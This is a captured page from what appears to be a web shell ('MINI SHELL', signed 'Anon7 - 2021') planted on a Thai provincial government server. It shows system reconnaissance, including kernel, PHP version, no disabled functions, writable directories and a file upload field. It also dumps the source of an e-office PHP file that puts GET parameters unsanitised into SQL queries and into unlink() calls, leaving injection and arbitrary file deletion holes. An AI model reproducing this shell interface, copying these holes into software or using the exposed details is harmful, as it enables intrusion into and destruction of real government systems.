MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/agenda/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/agenda/ajax_delfile.php
<?
header('Content-Type: text/plain; charset=windows-874');
	include("../../config/config.inc.php");
//=========================================
// Select document type where status is '1'
// @author Kridsada Satakarn
// @date 2009/06/20
// @return a array of list document type where status is '1'
//=========================================
function selectDocType()
{
	$arr = array();
	$sql = "SELECT
				tbl_main_menu.id_menu,
				tbl_main_menu.name_menu
				FROM
				tbl_main_menu
				WHERE
				tbl_main_menu.status_menu =  '1' 
				ORDER BY tbl_main_menu.id_menu ASC";
	$query = mysql_query($sql);
	while($rs = mysql_fetch_assoc($query))
	{
		$arr[$rs[id_menu]] = $rs[name_menu];
	}
	return $arr;
}
//=========================================
// Select attach files where status id_attach_file = $sub_id
// @author Kridsada Satakarn
// @date 2009/06/20
// @return a array of list attach files where status id_attach_file = $sub_id
//=========================================
function selectAttachFiles($sub_id)
{
	$arr = array();
	$sql = "SELECT
					*
					FROM
					tbl_attach_file
					WHERE
					tbl_attach_file.id_attach_file = '$sub_id' order by attach_file ASC";
	$query = mysql_query($sql);
	while($rs = mysql_fetch_assoc($query))
	{
		$arr[$rs[run_id]] = $rs;
	}
	return $arr;
}
function showListFile($id)
{
	$listFiles = selectAttachFiles($id);
	$docType = selectDocType();
	$arr_temp = array();
	foreach($listFiles as $key => $value)
	{
		$filename = urlencode($value[attach_file]);
		$path = "attach_file/".$id. "/". $filename;
		$arr_temp[$value[id_type]] .=  "<a href=\"download.php?path=$path&filename=$filename\" target='fdownload' >".$value[attach_file]."</a>". "<a href='#' onclick=\"delFile('DEL', '".$value[attach_file] ."', ' ', '" .$key ."', '" .$id ."')\"><img src='images/delete.gif' width='15' height='15' alt='źä¿Åì' border='0'></a><br>";
	}
	$str_show = " ";
	foreach($arr_temp as $key => $value)
	{
		$str_show .= "<b>$docType[$key]</b><br>$value<!--t$key-->";
	}
	return $str_show;
}
//===========================================
// Variable
//===========================================
$path_temp = "attach_file/temp/";
$path = "attach_file/";
//=================================================================
		$idsub = $_GET[id_sub];
		$filename = $_GET[filename];
		$timestamp = $_GET[timestamp];
		if($_GET[action] == "DEL_TEMP")
		{
			$deleted = @unlink("$path_temp$timestamp$filename");
			if($deleted)
			{
				echo "$filename";
			}
		}else if($_GET[action] == "DEL")
		{
			$rid = $_GET[rid];
			$sql = "DELETE FROM tbl_attach_file WHERE run_id = $rid";
			$rss = mysql_db_query($dbname,$sql);
			$deleted = unlink("$path$idsub/$filename");
			if($deleted)
			{
				$str_show = showListFile($idsub);
				echo $str_show;
			}
		}
?>

Anon7 - 2021